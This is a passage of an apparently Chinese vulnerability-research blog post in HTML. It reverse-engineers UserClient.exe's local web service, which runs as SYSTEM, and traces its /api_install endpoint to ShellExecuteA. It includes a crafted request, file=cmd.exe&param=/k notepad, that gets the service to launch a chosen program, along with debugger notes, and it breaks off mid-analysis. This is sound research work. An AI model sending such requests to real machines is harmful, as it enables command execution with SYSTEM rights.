src="https://wechat2rss.xlab.app/img-proxy/?k=be9c7e91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgYYTXwylEMiaLQHdBnSpkoPP3VA3nvuiaYhVicibtJOE8tPnlR2Bsb8nWwg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="268:1-268:186" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">有了请求处理逻辑的入口，接下来我们就要去看每个URI对应的处理逻辑是什么，看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。</p><p data-sourcepos="270:1-270:338" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">如果你觉得这样去看很累，也可以基于敏感函数的调用链来对应每个URI的处理函数，如下图所示我就基于<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数的调用链找到了URI<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">/api_install</code>的对应处理函数，也就表示当你访问URL：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;"><a href="http://127.0.0.1:38230/api_install" target="_blank">http://127.0.0.1:38230/api_install</a></code>时很有可能就会触发<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数。</p><p data-sourcepos="270:1-270:338" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004667" data-ratio="0.37037037037037035" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cbf5c2e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgME6cP4s08Lz23jm5jiccHl1ZhFYJnic552L2skAbHgLia3DugbE3F0PFg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="274:1-274:135" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">那么我们可以跟进去看一下该处理函数，看看是否可以将可控参数值带入到<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数里去执行。</p><p data-sourcepos="276:1-276:191" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">在函数的一开始就判断运行当前程序的用户是否是<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">system</code>，如果不是的话则直接返回响应内容（状态码500）提示当前不是以SYSTEM权限运行的进程。</p><p data-sourcepos="276:1-276:191" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004668" data-ratio="0.6652360515021459" data-s="300,640" style="" data-type="png" data-w="932" src="https://wechat2rss.xlab.app/img-proxy/?k=82abc0b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgK9CjAnJUVPic354EOEwAUL7Naj6kwD0tbWJ1J8I5HricWMa4k8NDzS0w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="280:1-280:104" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">这里我们通过Process Hacker可以看到<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">UserClient.exe</code>进程对应的用户就是<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">SYSTEM</code>：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004669" data-ratio="0.05092592592592592" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4ae68445&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTg7NwN9nWEaFTtrNVdHCAMLXdrNUV6yibx4M1tszlwxyUktkJur1saZtA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="276:1-276:191" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">也就表示我们当前是满足这个条件的，所以可以接着看IF分支内的逻辑。在IF分支内就执行了</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">ShellExecuteA</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">函数，根据</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">ShellExecuteA</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">函数的使用语法我们知道它这是以</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">v15</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">作为参数执行</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">v16</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">程序，所以我们需要知道</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">v15</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">、</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">v16</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">这两个变量是如何赋值而来的。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004670" data-ratio="0.08027522935779817" data-s="300,640" style="" data-type="png" data-w="872" src="https://wechat2rss.xlab.app/img-proxy/?k=0bbf7e82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTghM79AMUictqTVfqVyawd6fcZ9aRdbGsUlY3lQbtia6PO5SyaAekXLVpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="288:1-288:221" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">具体的逻辑可以下图，我们找到赋值关系最终确认一切的参数来源都是<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">Block</code>，该值是一个全局变量，那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004672" data-ratio="2.176851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d357c4ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTg5W6W23J1UVrY1Izmj0XAFGFjFdiaAjnc6zBw41NSpiaLN0ZaoBq0uGIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><br/></p><p data-sourcepos="293:1-293:89" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">根据猜测，我们可以先使用OD附加进程在<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数处下断点。</p><p data-sourcepos="295:1-295:208" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">然后请求URL：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;"><a href="http://127.0.0.1:38230/api_install?file=cmd.exe&amp;param=/k%20notepad" target="_blank">http://127.0.0.1:38230/api_install?file=cmd.exe&amp;param=/k%20notepad</a></code>，我们就会在OD界面中看见端点到<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数了，我们可以通过栈来看一下传参是什么。</p><p data-sourcepos="297:1-297:178" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">如下所示我们发现<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数的参数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">FileName</code>和<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">Parameters</code>是一串乱码的内容，这应该是我们输入的字符串经过了某些处理后导致的。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004673" data-ratio="0.4287037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e1ae1b4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgekNMVLcr2n0WhV9pnQ1zTg3nKF1sV91ZlXvwBggTcibOXyBBnZcbiaLg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="301:1-301:227" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">因此我们可以在URI<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">/api_install</code>对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了，如果带进来了为什么最终值会变成一段乱码的数据。</p><p data-sourcepos="303:1-303:189" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">如下图OD中可以看见我们的请求参数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">file</code>的值<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">cmd.exe</code>确实可以带进来，这也就验证了我们的猜想，<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数的参数是来源于HTTP请求参数。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004674" data-ratio="0.31296296296296294" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0db6f021&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgo1fic6g37Ox0EPA0q7icHpoObRB9R75KEvnN5lcAq74yx9vhtsSUnXNg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="307:1-307:318" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;">接着走下去我们会发现调用如下函数时的参数就是我们的请求参数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">file</code>和对应值<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">cmd.exe</code>，当该函数执行完成之后返回到EAX寄存器，我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容，也就是我们在<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数断点处看见的参数。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">push</span> <span class="code-snippet__string">esi</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">push</span> <span class="code-snippet__string">eax</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">call</span> <span class="code-snippet__string">UserClie.004203B0</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004675" data-ratio="0.38333333333333336" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cecfc434&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgPQn3PdmlFNSXyLYrzdkVzZcJYs0aaKNcjvFQX9ClXm8PzbXY2jIVdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="317:1-317:175" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">所以我们可以跟进函数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">004203B0</code>在IDA中看一下它具体做了什么，这样我们才能构造请求让真正的字符串带入到<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteA</code>函数中执行。</p><p data-sourcepos="319:1-319:261" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 